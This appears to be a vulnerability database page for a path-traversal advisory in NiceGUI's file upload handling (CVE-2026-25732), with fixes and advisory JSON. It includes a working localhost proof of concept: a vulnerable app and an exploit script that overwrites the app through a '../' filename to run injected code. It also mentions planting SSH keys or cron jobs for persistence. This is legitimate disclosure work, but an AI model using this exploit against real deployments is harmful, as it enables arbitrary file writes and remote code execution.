GHSA-9FFM-FXG3-XRHH
Vulnerability from github – Published: 2026-02-05 21:08 – Updated: 2026-06-06 14:45Summary
NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.
Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.
Details
Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)
Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()
async def save(self, path: str | Path) -> None:
target = Path(path)
target.parent.mkdir(parents=True, exist_ok=True)
await run.io_bound(target.write_bytes, self._data)
Root Cause: The save() method performs no validation on the provided path parameter. It accepts:
- Relative paths with ../ sequences
- Absolute paths
- Any file system location writable by the process
When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:
save_path = UPLOAD_DIR / e.file.name # e.file.name = "../app.py"
await e.file.save(save_path) # Writes outside UPLOAD_DIR
PoC
- Terminal 1 (App)
cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui
cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path
UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)
@ui.page('/')
def index():
async def handle_upload(e):
save_path = UPLOAD_DIR / e.file.name
await e.file.save(save_path)
ui.notify(f'File saved: {e.file.name}')
ui.upload(on_upload=handle_upload, auto_upload=True)
ui.run(port=8080, reload=False)
EOF
python3 vulnerable_app.py &
- Terminal 2 (Exploit)
cat > exploit.py << 'EOF'
import requests, re, time
s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)
html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'
payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''
s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF
python3 exploit.py
- Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py
- Observe http://localhost:8080
Impact
Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.
Attack Capabilities: - Write files to any location writable by the application process - Overwrite Python application files to achieve remote code execution upon restart - Overwrite configuration files to alter application behavior - Write SSH keys, systemd units, or cron jobs for persistent access - Deny service by corrupting critical files
Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.
Remediation
For Users
async def handle_upload(e):
safe_name = Path(e.file.name).name # Strip directory components!
await e.file.save(UPLOAD_DIR / safe_name)
For Maintainers
```py async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None: target = Path(path).resolve()
if base_dir is not None:
base_dir = base_dir.resolve()
if not target.is_relative_to(base_dir):
raise ValueError(
f"Path '{target}' escapes base directory '{base_dir}'"
)
target.parent.mkdir(parents=True, exist_ok=True)
await run.io_bound(target.write_bytes, self._data)
````
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.1"
},
"package": {
"ecosystem": "PyPI",
"name": "nicegui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25732"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:08:53Z",
"nvd_published_at": "2026-02-06T22:16:11Z",
"severity": "HIGH"
},
"details": "### Summary\nNiceGUI\u0027s `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -\u003e None:\n target = Path(path)\n target.parent.mkdir(parents=True, exist_ok=True)\n await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name # e.file.name = \"../app.py\"\nawait e.file.save(save_path) # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp \u0026\u0026 mkdir -p evilgui \u0026\u0026 cd evilgui\npython3 -m venv evilgui \u0026\u0026 source evilgui/bin/activate\npip install nicegui\n\ncat \u003e vulnerable_app.py \u003c\u003c \u0027EOF\u0027\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path(\u0027./uploads\u0027)\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page(\u0027/\u0027)\ndef index():\n async def handle_upload(e):\n save_path = UPLOAD_DIR / e.file.name\n await e.file.save(save_path)\n ui.notify(f\u0027File saved: {e.file.name}\u0027)\n \n ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py \u0026\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat \u003e exploit.py \u003c\u003c \u0027EOF\u0027\nimport requests, re, time\n\ns = requests.Session()\ns.get(\u0027http://localhost:8080\u0027)\ntime.sleep(2)\n\nhtml = s.get(\u0027http://localhost:8080\u0027).text\nmatch = re.search(r\u0027/_nicegui/client/([^/]+)/upload/(\\d+)\u0027, html)\nupload_url = f\u0027http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}\u0027\n\npayload = \u0027\u0027\u0027from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n\u0027\u0027\u0027\n\ns.post(upload_url, files={\u0027file\u0027: (\u0027../vulnerable_app.py\u0027, payload, \u0027text/x-python\u0027)})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app \u0026\u0026 python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n safe_name = Path(e.file.name).name # Strip directory components!\n await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -\u003e None:\n target = Path(path).resolve()\n \n if base_dir is not None:\n base_dir = base_dir.resolve()\n if not target.is_relative_to(base_dir):\n raise ValueError(\n f\"Path \u0027{target}\u0027 escapes base directory \u0027{base_dir}\u0027\"\n )\n \n target.parent.mkdir(parents=True, exist_ok=True)\n await run.io_bound(target.write_bytes, self._data)\n````",
"id": "GHSA-9ffm-fxg3-xrhh",
"modified": "2026-06-06T14:45:40Z",
"published": "2026-02-05T21:08:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25732"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/nicegui/PYSEC-2026-95.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/zauberzeug/nicegui"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "NiceGUI\u0027s Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.